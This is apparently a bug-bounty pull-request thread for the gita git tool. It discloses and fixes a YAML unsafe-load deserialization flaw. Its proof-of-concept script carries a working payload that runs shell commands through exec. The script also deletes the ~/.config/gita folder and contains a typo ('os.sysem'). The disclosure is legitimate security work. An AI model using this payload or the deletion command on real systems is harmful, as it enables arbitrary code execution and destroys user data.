Arbitary Code Execution Fixed

[Anon-Artist]

📊 Metadata *

gita helps to Manage multiple git repos with sanity.

Bounty URL: https://www.huntr.dev/bounties/1-pip-gita

⚙️ Description *

Vulnerable to YAML deserialization attack caused by unsafe loading.

💻 Technical Description *

Fixed by avoiding unsafe loader.

🐛 Proof of Concept (PoC) *

Create the following PoC file:
exploit.py

# exploit.py
import os
os.sysem('pip3 install gita')
from gita.utils import get_cmds_from_files
payload = """cmd: !!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('calc.exe')"
"""
os.system("cd ~/.config")
os.system('rm -r gita')
os.system("mkdir gita")
os.chdir("gita")
open('cmds.yml','w+').write(payload)
get_cmds_from_files()
print("calc has been poped -> Arbitrary Code Execution")

Execute the commands in another terminal:

python exploit.py

xcalc will pop up.

🔥 Proof of Fix (PoF) *

After fix it will not popup a calc.

👍 User Acceptance Testing (UAT)

After fix functionality is unaffected.

🔗 Relates to...

https://www.huntr.dev/bounties/1-pip-gita

[huntr-helper]

👋 Hello, @nosarthur - @Anon-Artist has opened a PR to us with a fix for a potential vulnerability in your repository. To view the vulnerability, please refer to the bounty URL in the first comment, above.

Ultimately, you get to decide if the fix is 👍 or 👎. If you are happy with the fix, please write a new comment (@huntr-helper - LGTM) and we will open a PR to your repository with the fix. All remaining PRs for this vulnerability will be automatically closed.

If you have any questions or need support, come and join us on our community Discord!

@nosarthur & @Anon-Artist - thank you for your efforts in securing the world’s open source code! 🎉

[nosarthur]

lgtm, thanks for bringing it up! please go ahead with the PR

[Anon-Artist]

Thanks @nosarthur can you please type like this
@huntr-helper - LGTM as comment because huntr bot need to detect this

[nosarthur]

@huntr-helper - LGTM

[JamieSlome]

@Anon-Artist - it looks like this didn't fire off as the bounty URL was invalid at point of LGTM.

Have added some background logic to validate this for next time, cheers! 🍰

[JamieSlome]

@nosarthur - the PR has been opened upstream!

Thanks! 🍰